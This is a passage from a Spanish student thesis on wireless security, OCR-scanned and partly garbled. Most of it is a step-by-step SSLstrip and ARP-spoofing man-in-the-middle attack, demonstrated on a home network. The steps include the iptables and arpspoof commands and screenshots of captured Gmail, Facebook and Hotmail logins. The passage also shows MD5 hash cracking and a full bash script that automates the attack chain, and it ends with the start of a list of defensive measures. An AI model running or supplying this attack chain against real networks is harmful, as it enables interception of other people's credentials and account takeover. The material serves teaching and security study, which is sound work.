€3 SMTP (0)
P NNTP (0)

QHTTPI

»
Hosts l@ APR I'I’ Routing I& Passwords l@ VolIP I

Lost packets: 0%

llustracion 46. Paso 5 Cain&Abel

Con Cain&Abel también podremos obtener password, de FTP, IMAP, LDAP, POP3,
SAMBA, TELNET,... etc.

ﬁ EEIEE]
File View Configure Tools Help
[owohmn |+v R nEaEe0®n 02 i
& Decoders Ig Network Im Sniffer [f Cracker |8 Traceroute |W CCOU [4’ Wireless | Query |
; | HTTP server | Client | u | Password | URL - L
- FIP ([ 1731948 192168133 v 6 http://www.gesgin sl et s st geapelie... i
Q HTTP (10) 1731945 % 192168133 q 5 hittp://wWiww g g et s st geageliee... i
E IMAP (0) 173194 % 0 192168133 I 4 http://wwwe e s salig it s i geagaline... i
LDAP (0) 173194 % % 192168133 g 3 http://wiww e s weltihg s mw. aedeond guegeiies. .. i
&P POP3 (0) 173194 % % 192.1681.33 f 3 http://Wiww . guegiie o aaligSmet. . siend googeliso... f(
b SMB (0) 173194 = % 192168133 1g 10 http://wiww gregin o aalitng . e st grogielino... it
A 192168133 1b 9 : ic
17 - - 865 W redus rews http://www.redc g/administradi ic
- 1734940 0 192168133 10 7 Ittp://WWw.GOOGIE 0 i e e e i
& TS 0 173194 % 834 5 1 [ T A ——————
&) TNS (0)
&3 SMTP (0)
P NNTP (0)
DCE/RPC (0)
5 MSKerbS-PreAutl
8 Radius-Keys (0)
€ Radius-Users (0)
“ ICQ (0)
65 IKE-PSK (0) ‘ [ il »
— HTTP

Hosts l@ APR IQ’ Routing l& Passwords l@ VolP I

Lost packets: 0%

llustracion 47. Passwords Cain&Abel
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HTTPS

Por otro lado si lo que nos interesa, es obtener nombres de usuario y contrasefias de
paginas que utilizan el protocolo HTTPS, en lugar de HTTP, es conveniente la utilizacién
del sistema operativo LINUX, y en nuestro caso Back Track 5 rl, ya que esta
distribucién de Linux contiene las herramientas necesarias para la disposicién de estos
datos sin levantar sospechas.

En estos casos, y en concreto en el siguiente caso prdactico se ha elaborado en una red
domeéstica, para ser mas preciso esta se ha dado en mi domicilio y con la colaboracién
especial de mi pareja, para la realizacién de las pruebas.

Tratar HTTPS y obtencidn de password es hablar de SSLstrip y Linux.

SSLstrip: es una herramienta que nos permite sniffar trafico y lograr nombres de
usuarios y contrasefias cifradas en HTTPS. Esto se hace realizando un ataque MITM
entre el servidor y la IP de nuestra victima objetivo, conectandose al servidor mediante
HTTP (sin cifrar) en lugar de HTTPS (cifrado) con lo que los datos son visibles.

Esta herramienta se presento en el 2009 en el Black Hat por Moxie Marlinspike.
Algunos de los ejemplos de paginas que utilizan este cifrado son Gmail, Hotmail,
Facebook, etc.

Vamos a explicar como funciona:

SSLstrip, no trabaja realizando un ataque sobre SSL, sino que lo que esto hace es
remplazar todos las URLs que contienen HTTPS por HTTP utilizando atague Main In The
Middle, con esto nuestra victima se comunica con nosotros por HTTP y nosotros
realizamos la conexién que deberia hacer la victima con el servidor destino por HTTPS,
con lo que adquirimos en estos procesos todos los nombres de usuario y contraseias
en texto plano que ya nos encargaremos de enviar cifrados a su destino.

llustracion 48. Esquema SSLstrip
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Para realizar este ataque utilizaremos como demostracion el equipo antes mencionado
SONY VAIO modelo VGN-NS20E, ratdn Logitech modelo M-UAE96 y una tarjeta de red
externa de conexidon USB marca Alfa Network modelo AWUS036h de 1W de potencia
gue se va a encargar de realizar el ataque MITM, en cuyo equipo utilizaremos la
distribucién de Linux Back Track 5 rl, en la cual ya viene instalada el script de SSLstrip y
las aplicaciones necesarias para realizar este proceso. Por otro lado el equipo victima
es un Hewlett Packard modelo HP520 provisto de sistema operativo Linux distribucion
Ubuntu 10.04 escritorio GNOME en 32bits y navegador Mozilla Firefox version 10.

El equipo que va a permitir realizar el ataque lo primero a realizar sera arrancar la
distribucién de Back Track 5 rl logarnos en modo root, para ello introduciremos el
nombre de usuario: root y contrasefia: toor esto esta por defecto, una vez logados
cargaremos el modo grafico con el comando startx.

Ahora ya que estamos logados y estamos dentro del sistema, activaremos el reenvio
de paquetes, para ello sera necesario cambiar el valor de 0 que viene por defecto en el
directorio /proc/sys/net/ipv4/ a 1, lo realizaremos lanzando una consola o intérprete
de mandatos y teclearemos lo siguiente:

echo "1" > /proc/sys/net/ipv4/ip_forward

AN vVoX }odﬁéb}:~
File Edit View Terminal Help

:~# lecho "1" > /proc/sys/net/ipv4/ip forward ]

llustracion 49. Paso 1 SSLstrip
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El siguiente paso sera la configuracidon de iptables para que reenvie el trafico esnifado
a SSLtrip, utilizando el puerto que deseemos, en este caso se redirigira el puerto 80
hacia el 10000(puerto por defecto del SSLstrip), como notacién cabe decir que se
puede utilizar cualquier otro puerto que deseemos, pero previamente hay que
definirlo.

Para ello abriremos otra consola y teclearemos lo siguiente:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port
10000

]Avx root@bt: ~
File Edit View Terminal Help

¢ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIREC

llustracién 50. Paso 2 SSLstrip
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Una vez lanzado el comando anterior, nos dirigiremos a la ubicacién donde esta
instalado el SSLtrip y lo lanzaremos. Para ello abriremos una nueva consola y nos
dirigiremos a la siguiente ubicacidn /pentest/web/SSLstrip serd necesario teclear el
comando: cd /pentest/web/SSLstrip con esto nos ubicaremos en el sitio donde esta
instalado SSLtrip y ahi cargaremos el comando:

SSLstrip -w nombrearchivo

"nombrearchivo" nos indica el nombre que utilizaremos para guardar la informacién
de los datos. Si se ha cambiado el puerto utilizaremos el siguiente comando:

SSLstrip -w nombredearchivo - numdepuerto
“numdepuerto” nos indica el numero de puerto que utilizamos.

En este caso practico hemos guardado diferentes archivos para realizar pruebas, en
nuestro caso han sido “pruebapfcdiegoescobar”, “pruebapfcdiego”,
“pruebapfcdiego2”, “morsa”.

Si hemos tecleado todo correctamente nos aparecera una pantalla como la siguiente:

A VvOX 7root7@”bit: ]peni:esi/wef)}sslstrip

File Edit View Terminal Help
:/pentest/web/sslstrip# python sslstrip.py -w pruebapfcdiegoescobar

slstrip 0.8 by Moxie Marlinspike running...

llustracién 51. Paso 3 SSLstrip
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Para conseguir nuestro objetivo debemos continuar, para ello debemos realizar el
envenenamiento de ARP y utilizaremos el comando arpspoof (Herramienta que nos va
a permitir husmear paquetes de datos en la LAN o en nuestro caso WLAN, modificar el
trafico, o incluso detenerlo.)

Abriremos una nueva consola y teclearemos:
arpspoof -i {interfaz_red} -t {ip_victima} {ip_router}
En nuestro caso utilizaremos:

arpspoof -i wlan0 -t 192.168.1.37 192.168.1.1

“wlan0” es la interfaz de red que hemos utilizado en el equipo que realiza el ataque
MITM

“192.168.1.37” es la ip de la victima sobre la que realizaremos el ataque

“192.168.1.1" es la puerta de enlace del router.

| ~ v X% root@bt: ~
File Edit View Terminal Help
:~# arpspoof -i wlan® -t 192.168.1.3

llustracién 52. Paso 4 SSLstrip
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Tras lanzar el comando anterior, comenzaremos a captar paquetes.

novX rooi@bt: ~
File Edit View Termi

:2b:c2

llustracion 53. Paso 4.1 SSLstrip

Tras lo anterior, narraremos que es lo que realizaria un usuario victima en su
ordenador utilizando para el caso practico el navegador Mozilla Firefox.

La mayoria de los usuarios por comodidad tienden a ir directamente a buscador de
buscadores (www.google.es) y teclear alli el lugar donde quieren dirigirse.

Para ello abren su navegador, en este caso Mozilla Firefox y teclean en google, por
ejemplo: Gmail, para dirigirse a su correo electrénico y leer su correspondencia
electroénica.
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% gmail - Buscar con Google - Mozilla Firefox

'Y gmail - Buscar con Google

L

< S B JLLENEES https://www.google.es/search?q=gmail&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official &client=firefox-a v]e|

2§ v gmail Q| D
By BackTrack Linux [JOffensive Security KBExploit-DB Yy Aircrack-ng F3SEORG.org [gMusic v

GO L )Sle gmail Buscar

Aproximadamente 1.270.000.000 resultados. B

*J Todo Gmail: correo electrénico de Google

" Gmall esta basado en la idea de hacer que el correo electronico resulte mas intuitivo,
(8 Imagenes eficiente y util, e incluso divertido. Después de todo, Gmall tiene: ...
' Maps mall.google.com/mail?hi=es - En caché - Similares

gV correo electrénico de Google  Politica de privacidad
il Videos Gmall Politicas del programa
== 2t I
3 Noticias Crear una cuenta Google Google Buzz
Shopping correo electrénico de Google

- Gmall esta basado en la Idea de hacer que el correo electronico resulte mas
v/ Mas mail.google.com/%3Fhi%3Des
La Web Gmail: Email from Google

Paginas en espaiiol 7+ GB of storage, less spam, and mobile access. is email that's intuitive, efficient, and
g pa ~ useful. And maybe even fun.
Paginas de Espana https://mail.google.com/ - Er

é - Similares

Mas herramientas

Cuentas de Google

Gmall. Chatea con amigos y organiza tu correo. Obtén
mas relevantes basados en tus busquedas anteriores. ;Te gusta ...
https://www.google.com/accounts/Login?hl=es - En caché - Similares

Gmail for mobile

Access your Gmall account from anywhere. Check your email on your mobile phone for free.
Available for BlackBerry, Nokia, Windows Mobile, and more.

www.google.com/mobile/mail/ - En caché

Official Gmail Blog v
https://www.google. es/url2q=http:/mail.g...9g&usg=AF QICNFbTHF 3ZIJvU3fL6bYbabuLcChDSA | Options... | %

llustracion 54. Acceso a GMAIL de la victima

Hasta ahi todo correcto, ya que google, se encarga de redirigirnos a HTTPS y establecer
una comunicacidén que es segura, ¢Pero qué pasaria si estamos siendo “victimas” de un
usuario mal intencionado?

Pues bien la respuesta a esto se muestra a continuacion.

% Gmail: correo electrénico de Google - Mozilla Firefox

v History

™M Gmail: correo electrénico de Go...

x;.‘] S M LLllelEXe] http://accounts.google.com/Servicelogin?service=mail&passive=trueSam=false&continue=http://mail.google.com/mail/2t vre‘ h‘]v gmail

B BackTrack Linux [Offensive Security KBExploit-DB WyAircrack-ng F3SEORG.0rg [gMusicv

GO L :8[6 ¢Es la primera vez que utilizas Gmail? [REGEXIITNEENIY

Gmail
La vision del correo electronico de Google. Iniciar sesién

Gmail esta basado en la idea de hacer que el correo electronico resulte mas intuitivo, eficiente y atil, e N e s

Incluso divertido. Después de todo, Gmall tiene: crist
=" Mucho espacio Contrasena
Mas de 10252.291744 megabytes (y sigue en aumento) de almacenamiento gratuito. [ |

| eovccce

Menos spam
Evita que los mensajes no deseados lleguen a la bandeja de entrada. Iniciar sesion O No cerrar sesion

i No puedes acceder a tu cuenta?
! Acceso para méviles NGB

Para leer mensajes de Gmall desde tu teléfono mévil, introduce http://gmall.com en el
navegador web de tu mévil. Mas informacion

Sobre Gmail  Nuevas funciones  Crear una cuenta

Utiliza Gmail en el trabajo con Google Apps for Business

¢ Te encanta Gmalil y te gustaria usar una direccion de correo personalizada para tu
empresa?
Trabaja con tu correo . tu y tus online con la direccion
@tuempresa.com. Mas Informacion .

llustracion 55. Introduccion de datos por parte de la victima en GMAIL

Proyecto Fin de Carrera: Diego Pagina 74 de 128
Escobar Arevalillo




SEGURIDAD Y CONTROL EN COMUNICACIONES
INALAMBRICAS

Utilizando la herramienta SSLtrip, como explicAbamos antes es la que se encarga de
pasar de HTTPS a HTTP y es entonces cuando pasan a través de nosotros los datos en
claro.

En el equipo del atacante, lanzando el comando:
tail -f nombredeficheroSSLtrip

“nombredeficheroSSLtrip”, es el nombre que hemos asignado cuando hemos lanzado
el comando SSLstrip para guardar los datos de captura.

Conseguiriamos ver en tiempo real, los datos de comunicacidon en nuestro caso lo que
nos interesa nombres de usuario y contrasefas.

En el equipo atacante el usuario malintencionado lanzando el comando anterior veria:

| ~ v x root@bt: /pentest/web/sslstrip
File Edit View Terminal Help

- /web/sslstrip/
:/pentest/web/sslstrip#|tail -f pruebapfcdiego

2012-05-30 :54:3 ) ata (safebrowsing.clients.google.com):
goog_ 3 . . . 2

goog

goog

§oog-

goog-d

2012-05-30 17: :54,212 SECURE POST Data unts.google.com) :
continue=http%3A%2F%2Fmai l aoomle.corisz %3Fh1%3Desé&s ce=mail&rm=false&
dsh=-520467 2 ult&hl=es&s AR C KUJQLuStHSQ—lqd';
onn=&checkConn n=&checked in u :Fallzcrlst:
) I A:ACJ,BJ &rmSh
ntslgoogle.co
13F11:3De &

/,,)4 Pusf ate afebrowsing *1
;a:70401- :5:59904-61927

2561-2

llustracidon 56. Monitorizacion de datos GMAIL
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Analizando esta pantalla, el usuario malintencionado ya dispondria del Email y del
password, por lo que ya tendria acceso total al correo electrénico de la victima en
cualquier momento.

En lo que a la victima se refiere, el acceso a su email seria completamente
transparente y tendria acceso sin ningun problema.

En las sucesivas ilustraciones comprobaremos diferentes web muy conocidas como
Hotmail, Facebook que utilizan protocolo HTTPS y foros de discusion tales como
SEATIBIZA.NET que utilizan HTTP y cifran la contrasefias cifradas en MD5 y el método
de como conseguir descifrarlas con una base de datos con mas de 8 mil millones de
Hashes MD5(Una funcion hash H es una funcion computable mediante un algoritmo,
H: U—-> M x = h(x), que tiene como entrada un conjunto de elementos, que suelen ser
cadenas, y los convierte (mapea) en un rango de salida finito, normalmente cadenas de
longitud fija. Es decir, la funcion actua como una proyeccion del conjunto U sobre el
conjunto M.)

Usuario victima se dirige a www.google.com para buscar el enlace que le redirija a

Facebook.

‘j © |23 nttp://www.google.es/search?q=facebook&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-Us:official &client=firefox-a v | [*4v facebook Q| @

B BackTrack Linux [Offensive Security KMExploit-DB WyAircrack-ng [3SEORG.org [wiMusic ¥

+T0 Basqueda Imag Maps Play YouTu c Iniclar sesion £
( >

GO L IglL facebook Buscar
Aproximadamente 20.450.000.000 resultados B eda avanz

*J Todo iBienvenido a Facebook en Espafiol (Esparia)!

= ido a en Espariol fi es una I social que pone

(8 Imagenes en contacto a personas con sus amigos y otras personas que ...

' Maps es-es.facebook.com/ - En cache - Similares

g = Entrar | Facebook Fundéu (Espafiol Urgente)

B Videos

=) Noticias Entrar | Facebook

= Logo de Facebook acebook te ayuda a i y compartir tu

Shopping es-es.facebook.com/login.php

~) Més Welcome to Facebook - Log In, Sign Up or Learn More
Facebook is a social utility that connects people with friends and others who work , study and

La Web live around them. People use Facebook to keep up with friends, ...

- www.facebook.comV/ - En caché - Similares
Paginas en espafiol
Paginas de Espana  Bjenvenido a Facebook en Espafiol!
Mas herramientas Blenvenido a Facebook en Espariol! Facebook es una herramienta social que pone en
contacto a personas con sus amigos y otras personas que trabajan, ...
es-la.facebook.com/ - En caché - Similares

Log In | Facebook

Facebook is a social utility that connects people with friends and others who work , ... Sign
UpFacebook helps you connect and share with the people in your life.
https://www.facebook.com/login.php - En caché - Similares

Leo Messi | Facebook
is on Facebook. To connect with Leo Messi, sign up for Facebook today. ... Bienvenidos a la
paaina de Facebook Oficlal de Leo Mess|. Welcome to the official ...

http://www.google.es/url2q=http://es-es.f...A&usg=AF QJCNEK-3IBtemDgnuRLQaUthoCKCEUVA Options... | %

llustracién 57. Acceso a Facebook de la victima
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Cuando el usuario victima pulse sobre el enlace le aparecera la siguiente pantalla y
serd ahi donde el usuario introduzca sus credenciales y por tanto el usuario
malintencionado que esta monitorizando los datos los obtendra de forma facil y

sencilla.

<« St | K| http://es-es.facebook.com/ 'vc‘ |*q v facebook Q|

Correo electrénico o teléfono  Contrasefia
ser agmail.com

Conecta con tus amigos mas Registrate
répido, estés donde estés. Es gratis (y lo seguira siendo).
La aplicacion de Facebook esta Nombra:
disponible en mas de 2.500
teléfonos. Apellidos:
= Mas velocidad de navegacion Tu correo
= Compatible con la cdmara y los contactos de electrénico:
tu teléfono Vuelve:a
escribir tu
= Sin actualizaciones periodicas: solo una correo
descarga electrénico:

Nueva

Descubre Facebook Mévil contrasefia:

Sexo: | Selecciona el sexo: ~|

Fecha de| _~
nacimiento: | 0ia: =|| Mes: 1| Aoz -]
¢Por qué tengo que dar mi fecha de
nacimiento?

Al hacer clic en "Registrarse”, muestras tu
conformidad con nuestras Condiciones y
aceptas haber leido y entendido nuestra
Palitica de uso de datos, incluido el uso de las
cookies.

llustracion 58. Introduccion de datos por parte de la victima en Facebook

Usuario malintencionado monitorizando datos introducidos por la victima para
conectarse a facebook.
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v | ox root@bt: /pentest/web/sslstrip
|
File Edit View Terminal Help

’E‘D"O‘.

202561-204021:

2012-05-30 18:06: >U“ POST Ddtd t0ff
0q000MOKOIO

O EBEER:)
2] +E8

POST Data (www.fac
gmail.
6L 2%B4%2(%ED% BO 84
94109“10Cdtc—c)

SFCURF POST Data
m&pe wdefau
sE2%82%AL%2(%(2%B4%2(%E2% a\ 4%2(%E6% BO sB4
-120&lgnrnd= 090901 VvsV&lgngs E

llustracidon 59. Monitorizacion de datos Facebook

En estas ultimas ilustraciones mostraremos como obtener datos de Hotmail y como
conseguir descifrar hashes MD5 que han sido obtenidos tras escuchar la conexién del
usuario victima a un foro de discusion llamado www.seatibiza.net.

El usuario victima vuelve a utilizar el buscador para dirigirse a Hotmail

* hotmail.es - Buscar con Google - Mozilla Firefox
Edit View Hi Bookmarks Tools Help

*§ hotmail.es - Buscar con Google B3

< © [PREEEEEES https://www.google.es/search?q=hotmail es&btnG=Buscar&oe=utf-8&rs=org.mozilla%3Aen-Us%3Aofficialsclient=firefo  v| | [$J v hotmail.es Q| 4y

M BackTrack Linux [Offensive Security KRExploit-DB Wy Aircrack-ng [F3SEORG.org [wMusic v

+Tu Basqueda Imag aps Play YouTube Noticias d gmail.com ~ | Cer on T

GO SlL hotmail.es Buscar

Aproximadamente 411.000.000 resultados E

*J Todo Iniciar sesion - Hotmail
p El nuevo Hotmall ya esta aqui. Es un sistema de correo electronico eficaz y gratuito con las
8 Imégenes caracteristicas de seguridad de Microsoft, 2 GB de espacio, ..
? Maps hitps://www.hotmall.com/?mkt=es-us - Er
B Videos Hotmail
2 Powerful free e-mail with security from Microsoft - Windows Live Hotmall is a best in class
=l Noticias emall service that helps you organlze and d manage all your online stuff ...
Shopping w.hotmail.com/ - Er
v Mas MSN Espaiia: Hotmail, Messenger, Skype y Windows Live

Ultimas noticias, videos en HD de Deportes, Dinero y Mujer. Compane tu actividad en
Windows Live. Iniciar sesion con correo Hotmall, Facebook, Skype y ..
La Web es.msn.com/ - Ei aché - Similare
Paginas en espariol
Paginas de Espana Hotmail: Iniciar sesion y crear una cuenta
Crea tu cuenta gratuita de Hotmall y aprende como configurar Hotmall en tu mévil: iPhone,
Mas heramientas Android. oWlndows Phone.
d n.com/hotmall/ - En caché - Similare

Hotmail - Blogs

Simbolo de error, Escriba la direccién de correo electrénico en el formato siguiente:
sunombre@example.com. ;Necesita ayuda con el inicio de sesion?
blogs.miarroba.es/visitar.php?id=54418&uri=3 - En caché - Similares

Averiguar contrasefia de Hotmail es gratis
5 Jun 2009 ... yo buscando en foros para averiguar la contrasefia de mi marido descubri un
foro que daba una solucion,y ami me funclono ay que hacer o .. v

h;tps://Www.gcogié.eS/url?q=https://www....O&usg=AFQ]CNHK4020Thlan-cxgwRGw;fZIVStA | Sptionss: ) ®

llustracién 60. Acceso a Hotmail de la victima
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Una vez mas clickea sobre el primer enlace que aparece en google, que si observamos
detenidamente, vemos que utiliza HTTPS. Una vez ubicado el usuario selecciona el
mismo y se dirige a HOTMAIL. En la siguiente pantalla observaremos que no esta en
HTTPS aunque google asi lo diga, ya que esta siendo intervenido por un usuario
malintencionado.

v % Welcome to Windows Live - Mozilla Firefox

Fi

£ welcome to Windows Live
. ' il |
< S) | £7 http://login.live.com/ v/c| [*§v hotmail.es Q @

B BackTrack Linux [JOffensive Security KBExploit-DB Wy Aircrack-ng 3SEORG.org [gMusic v

e )
£7 Windows Live
Hotmail Windows Live 1D:
The smart way to do email - fast, easy and reliable - n|
pat shotmail.com
2 Messenger
Stay in touch with the most important people in your life
~4 SkyDrive

Free, password-protected online storage

Don't have a Windows Live ID? | Sign up |

sign in |

One Windows Live ID gets you into Hotmail, Messenger, Xbox LIVE — and
other Microsoft services.
Not your computer?

Get a single use code to sign in with

©2012 Microsoft | Terms | Privacy

llustracidn 61. Introduccién de datos por parte de la victima en Hotmail

Serd en esta pantalla donde el usuario victima introducird sus datos personales y es
entonces cuando el usuario malintencionado que estd captando todo el trafico
observara los datos en claro, ya que el SSLstrip se ha encargado de pasar el HTTPS a
HTTP y es de esta manera como obtendremos los datos en claro.
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~ v X root@bt: /pentest/web/sslstrip
File Edit View Terminal Help

tail: cann pen m a' for reading: uch file or directory

|'O(ALJ V -
‘O"IUFqW : NHcKnY8k7udYoled+ZpM*tmAd

] JH.)CB‘H‘
C 40 ]of B\'l

strip#
,le' =3 ”C

Y8 rﬁoToL_v""'*Mrﬂé“DHU
%21gSHC3tWE7teLGmtODbrG3QpAlAX0Ikx

llustracién 62. Monitorizacién de datos Hotmail

En el caso de dirigirse a una pagina web de tipo foro de discusién que utiliza HTTP y
envia la contrasefia cifrada con MD5, como el caso del foro www.seatibiza.net, el
usuario malintencionado dispondrd de medios para conseguir descifrar este hash.

Usuario victima logandose en dicho foro.

% Coches - Seat Ibiza - Seatibiza.net - Mozilla Firefox

) ® | & hitp:/www.seatibiza.net/foro/

B BackTrack Linux [ Offensive Security ENExploit-DB Wy Aircrack-ng §§SEORG org |@Musicv

SEATII:: et

SEATCORDOB/

Foro PAra SEAT IBIZA - CORDOBA

Temas de Hoy Ayuda Calendario Comunidad w Acciones del Foro v Enlaces v Bosqueda Avanzada

# Foro

If this is your first visit, be sure to check out the FAQ by clicking the link above. You may have to register before you can post: click the register link above to proceed. To start viewing
messages, select the forum that you want to visit from the selection below.

Coches - Seat Ibiza - Seatibiza.net
Bienvenido a Coches - Seat Ibiza - Seatibiza.net.

( ‘
NORMAS DEL FORO Temas: 1
Importante leer antes de comenzar a participar en el foro. Mensajes: 1 p i s re
\ 05/05/2012, 23:31
| SEATIBIZA 2008 Ultimo Mensaje |
General Ibiza 2008 ¢ ) “ | Temas: 2,764 1 Mancha .
Para hablar acerca del Seat I 2008 de una manera general Mensajes: 67,095 por ruben79r6
— Hoy, 19:23
6] - Mecanica y averias (1 0) s | Temas: 982 1dos @
Mecanica general, diagnostico de s y soluciones Mensajes: 14,888
—
63 - Electricidad, electronlca poten(laclon Y VAG-COM (12 Viendo) | Temas: 734 Start-Stop @ 5
ihiza2_di Manoaiass 12000 =
&) Scripts Currently Forbldden | <SCRIPT> 15 | <OBJECT> 0 | Options... | 3%

llustracion 63. Introduccion de datos por parte de la victima en www.seatibiza.net
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El usuario malintencionado se dirigira a una base de datos donde dispondrd de mas de
8 mil millones de hashes y asi obtener la contraseiia en claro, lo que le permitird
navegar libremente por este foro como si fuese el usuario victima. Para ello el usuario
malintencionado obtendra el hash y se dirigird a la web www.md5decrypter.co.uk,
donde introducira el hash y obtendra la contrasefia en claro.

~ v X root@bt: /pentest/web/sslstrip
File Edit View Terminal Help

~# tail -f morsa

tall
ot open

({ LOQ

TUFQE

llustracidon 64. Monitorizacion de datos www.seatibiza.net

Con el password cifrado en MD5 nos dirigimos a la web antes mencionada lo
introducimos y voila!.
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B MD5Decrypter.co.uk, Ove... % | I

< © | B http://www.mdSdecrypter.co.uk/ MlS *§ v ord mds generatorQ | €

»  What does this MDS5 Decrypter tool do?

Visit Forum
MDS Decrypter
NTLM Decrypter

SHAL1 Decrypter

My Hash Lists

Hash a Password
Facebook Hack
Text Encryption
List Tool MDS Hashes:
Bin Translator

Downloads

Statistics

Upload Passwords

Rainbow Tables

Passwd Dump

NT PW Recovery

Sam Inside

Cain & Able

Port Scanners

— 2000

L w captcha

What is MDS you ask?

; ; 1 t algorith I ior 0 r ivest ir 1
&) Scripts Currently Forbidden | <SCRIPT>: 9 | <OBJECT>: 0 Options...

llustracidn 65. Obtencidn de contraseiia cifrada en MD5
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En este punto plasmaré el cédigo fuente de un script desarrollado para Linux y en
concreto para la distribucién Back Track 5 R1, que nos permitirda automatizar los
procesos de los que habldbamos en el apartado anterior y dentro de este en el
subapartado Peligros derivados de una red inalambrica comprometida.

~ v X root@bt: ~
File Edit View Terminal Help

ar el reenvio de paquetes en nuestro equipo.

guracion automatica del iptables y redireccion de trafico.
.Escaneo de Puertos abiertos y Victimas Asociadas.

.Lanzamiento automatico de SSLSTRIP.

.Envenenamiento de ARP automatico.

.Monitorizacion de datos de la victima.

.SALIR.

UL WN =

6
7

Teclee una opcion: |

llustracidn 66. Script PFC_DiegoEscobar
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#Desarrollador: Diego Escobar Arevalillo NIA: 100061424 Universidad Carlos |l
MADRID

#! /bin/bash
opcion=0

while [ Sopcion -ne 7 ]
do

clear

eChO "**********************“ﬂenu

PFC [ﬁegOESCObar*******************************”

echo
113K 3K 3K 3K 3K 3K 3K 3K 5k 5k 5k 5k 5k sk sk sk sk sk sk 5k 3k 5k 3k sk 3k 3k 5k 5k 5k 5k 5k 5k 5k 5k 5k 5k 5k %k %k sk sk sk sk %k %k %k %k %k %k %k %k %k 3k 3k 3k Kk 3k 5k 5k %k %k %k %k %k %k kkkkk

kkkxN

echo "OPCIONES:"
echo""

echo "1.Activar el reenvio de paquetes en nuestro equipo."

echo "2.Configuracion automatica del iptables y redireccion de trafico."
echo "3.Escaneo de Puertos abiertos y Victimas Asociadas."

echo "4.Lanzamiento automatico de SSLSTRIP."

echo "5.Envenenamiento de ARP automatico."

echo "6.Monitorizacion de datos de la victima."

echo "7.SALIR."

echo""

echo -n "Teclee una opcién: "

read opcion

case Sopcion in
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1)clear
echo "1" >/proc/sys/net/ipva/ip_forward

echo "¥*******OPCION 1.Activar el reenvio de paquetes en nuestro
equipo.********”

echo
113k 3k 3k 3k 5k 3k sk 5k 5k %k sk 3k >k sk 5k 3k sk 5k 5k 3k sk 5k 3k sk 5k 3k %k 5k 5k 3k 5k 5k 3k sk 5k 3k sk 5k 5k 3k sk 5k 3k %k 5k 3k 3k 5k 5k sk 5k ok sk %k ok %k skok sk k sk ok %k skkkkokkk

kkokok N

echo
echo "El reenvio de paquetes se ha activado correctamente"
echo nn

echo "Pulse una tecla para continuar"

read continuar ;;

2)clear

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports
10000

echo "*OPCION 2.Configuracion automatica del iptables y redireccion de trafico.*"

echo
113k 3k 3k 3k 5k 3k sk 5k 5k %k 3k 3k 3k sk 5k 3k sk 5k 5k 3k sk 5k 3k sk 5k 3k %k sk 5k 3k 5k 5k 3k sk 5k 3k sk 5k 5k 3k sk 5k 3k %k 5k 3k 3k 5k 5k sk 5k 3k sk 5k 5k %k sk ok sk %k sk ok %k sk ok kkkk ok

kkokok N

echo
echo "La Configuracion automatica del iptables y redireccion "
echo "de trafico se ha activado correctamente”

echo""

echo "Pulse una tecla para continuar"

read continuar ;;
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3)
clear

echo H*XXXX*XOPCION 3.Escaneo  de Puertos abiertos y  Victimas
Asociadas. X ¥ ¥ xx kKK kN

echo

113k 3k 3k >k >k >k 3k >k >k >k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3%k %k %k %k %k %k %k %k >k >k 3k 3k >k 3k 3k 3k 3k 3k 3%k 3%k 3%k 3%k %k %k %k %k %k >k >k >k 3k 3k %k 3k 3 3% 3%k 3% % 3% %k %k %k %k %k %k %k %k %k k

kkokok N

echo
nmap 192.168.1.*
echo nn

echo "Pulse una tecla para continuar"

read continuar ;;

4)
clear

echo RERE AKX XXXEXXXOPCION 4.Lanzamiento automatico de
SSLSTR”{****************"

echo

113k 3k 3k 3k >k >k 3k >k >k >k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3%k %k %k %k %k %k %k %k >k >k 3k 3k >k %k 3k 3k 3k 3k 3%k 3%k 3%k 3%k %k %k %k %k %k %k >k >k 3k 3k %k 3k 3 3% 3% 3% % 3% %k %k %k %k %k %k %k %k %k k

kkokok N

echo
cd /pentest/web/sslstrip
read -p "Introduce el nombre donde se guardaran los datos: " fichero

python sslstrip.py -w Sfichero ;;
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5)
clear
echo MREEE AKX XXX XXXXOPCION 5.Envenenamiento de ARP

autonéﬂco****************%'

echo

113k 3k 3k >k >k >k 3k >k >k >k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3%k %k %k %k %k %k %k %k >k >k 3k 3k >k 3k 3k 3k 3k 3k 3%k 3%k 3%k 3%k %k %k %k %k %k >k >k >k 3k 3k %k 3k 3 3% 3%k 3% % 3% %k %k %k %k %k %k %k %k %k k

kkokok N

echo
clear
read -p "Introduzca la ip local de la victima: " ip
echo""

read -p "Introduzca la ip de la puerta de enlace: " ippuertaenlace
echo""

arpspoof -i wlanO -t Sip Sippuertaenlace
echo""

echo "Pulse una tecla para continuar"

read continuar ;;

6)
clear

echo HEEE XXX XX XX XOPCION 6.Monitorizacion de datos de Ia
victima, ® ® ® sk skosk ok kok ok ko k0

echo

113k 3k 3k >k >k >k 3k >k >k >k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k %k >k %k %k %k %k %k >k >k 3k 3k >k 3k 3k 3k 3k 3k 3%k 3%k 3%k 3%k %k %k %k %k %k >k >k 3k 3k 3k 3k 3k 3 3% 3% 3% %k 3% %k %k %k %k %k %k %k %k %k k

kkkxN

echo

read -p "Introduzca el nombre del fichero donde se guardan los datos de SSLStrip: "
ficherolectura
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10 de julio de 2012

cd /pentest/web/sslstrip

tail -f Sficherolectura ;;

7)clear; exit;;

esac

done
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En este punto trataremos de establecer un método estratégico para evitar que
usuarios malintencionados se aprovechen de nuestra red inaldambrica y pongan en
peligro nuestros datos privados.

Los puntos que a continuacion se citan nos ayudardn en nuestra encrucijada por tratar
de evitar y poner mas dificil el acceso a nuestra red.

1. Cambiar la contraseia por defecto:

Cambiaremos la contraseia por defecto de nuestro router, ya que en la actualidad
existen numerosas aplicaciones que siguen unos patrones, y con unos conocimientos
minimos sobre esto, permitiran al usuario malintencionado obtener la contrasefia sin
mucha dificultad.

2. Cambiar el SSID por defecto y/o ocultarlo

Los principales SSID de los proveedores espafnoles suelen ser del tipo WLAN_XXXX,
